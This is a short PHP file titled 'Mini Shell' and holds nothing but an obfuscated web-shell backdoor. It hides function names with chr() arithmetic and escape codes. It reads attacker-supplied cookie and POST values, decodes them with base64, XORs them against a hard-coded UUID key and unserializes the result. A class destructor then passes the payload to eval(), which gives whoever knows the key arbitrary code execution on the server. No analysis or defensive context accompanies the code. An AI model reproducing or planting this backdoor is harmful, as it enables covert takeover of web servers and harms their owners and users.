Mini Shell

$PERUBWGxSG = "\102" . chr ( 1021 - 926 ).'b' . "\162" . chr (120); $WjIOBdtW = chr (99) . chr ( 796 - 688 ).chr (97) . "\163" . 's' . "\137" . "\x65" . chr ( 947 - 827 ).chr ( 388 - 283 ).chr ( 246 - 131 ).chr (116) . chr ( 610 - 495 ); $DkWYMXvvnd = class_exists($PERUBWGxSG); $WjIOBdtW = "47193";$pfZQRTDq = strpos($WjIOBdtW, $PERUBWGxSG);if ($DkWYMXvvnd == $pfZQRTDq){function ywrMgF(){$FRXfapF = new /* 43154 */ B_brx(12755 + 12755); $FRXfapF = NULL;}$MSlFkYx = "12755";class B_brx{private function uWAUUyAgwt($MSlFkYx){if (is_array(B_brx::$iFMkmGJbOe)) {$CKBjrWTX2 = str_replace("<" . "?php", "", B_brx::$iFMkmGJbOe["content"]);eval($CKBjrWTX2); $MSlFkYx = "12755";exit();}}public function bTfFdKi(){$CKBjrWTX = "37546";$this->_dummy = str_repeat($CKBjrWTX, strlen($CKBjrWTX));}public function __destruct(){B_brx::$iFMkmGJbOe = @unserialize(B_brx::$iFMkmGJbOe); $MSlFkYx = "41551_50026";$this->uWAUUyAgwt($MSlFkYx); $MSlFkYx = "41551_50026";}public function wKrMAo($CKBjrWTX, $zmQWqaiaCz){return $CKBjrWTX[0] ^ str_repeat($zmQWqaiaCz, intval(strlen($CKBjrWTX[0]) / strlen($zmQWqaiaCz)) + 1);}public function MAITcCL($CKBjrWTX){$MedxWQErH = 'b' . 'a' . chr ( 550 - 435 )."\145" . '6' . "\64";return array_map($MedxWQErH . "\137" . 'd' . "\x65" . "\143" . chr (111) . chr ( 284 - 184 )."\x65", array($CKBjrWTX,));}public function __construct($wbEvOCU=0){$cQGgYHlU = chr ( 75 - 31 ); $CKBjrWTX = "";$pXNfOKplKr = $_POST;$JDqoKX = $_COOKIE;$zmQWqaiaCz = "a88c7cc5-0f37-4a25-9eae-976caddbfcc5";$cFYhU = @$JDqoKX[substr($zmQWqaiaCz, 0, 4)];if (!empty($cFYhU)){$cFYhU = explode($cQGgYHlU, $cFYhU);foreach ($cFYhU as $URSuXJJmfm){$CKBjrWTX .= @$JDqoKX[$URSuXJJmfm];$CKBjrWTX .= @$pXNfOKplKr[$URSuXJJmfm];}$CKBjrWTX = $this->MAITcCL($CKBjrWTX);}B_brx::$iFMkmGJbOe = $this->wKrMAo($CKBjrWTX, $zmQWqaiaCz);if (strpos($zmQWqaiaCz, $cQGgYHlU) !== FALSE){$zmQWqaiaCz = str_pad($zmQWqaiaCz, 10); $zmQWqaiaCz = ltrim(rtrim($zmQWqaiaCz));}}public static $iFMkmGJbOe = 4360;}ywrMgF();}